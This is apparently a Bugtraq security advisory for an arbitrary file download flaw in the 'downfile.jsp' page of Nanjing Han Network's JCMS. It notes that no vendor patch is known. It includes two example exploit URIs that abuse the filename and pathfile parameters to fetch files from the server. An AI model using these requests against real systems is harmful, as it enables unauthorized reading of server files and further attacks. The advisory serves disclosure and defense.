JCMS 'downfile.jsp' Arbitrary File Download Vulnerabilities

Bugtraq ID:	45013
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 22 2010 12:00AM
Updated:	Nov 22 2010 12:00AM
Credit:	Beach
Vulnerable:	Nanjing Han Network JCMS 0
Not Vulnerable:

JCMS 'downfile.jsp' Arbitrary File Download Vulnerabilities

JCMS is prone to vulnerabilities that lets attackers download arbitrary files. These issues occur because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues will allow an attacker to view arbitrary files within the context of the application. Information harvested may aid in launching further attacks.

JCMS 'downfile.jsp' Arbitrary File Download Vulnerabilities

An attacker can exploit these issues using a browser.

The following example URIs are available:

http://www.example.com/module/download/downfile.jsp?filename=[file_name]&pathfile=[Path/Path/file_name]

http://www.example.com/module/download/downfile.jsp?filename=downfile.jsp&pathfile=module/download/downfile.jsp

JCMS 'downfile.jsp' Arbitrary File Download Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

JCMS 'downfile.jsp' Arbitrary File Download Vulnerabilities

References:

• JCMS Homepage (Nanjing Han Network)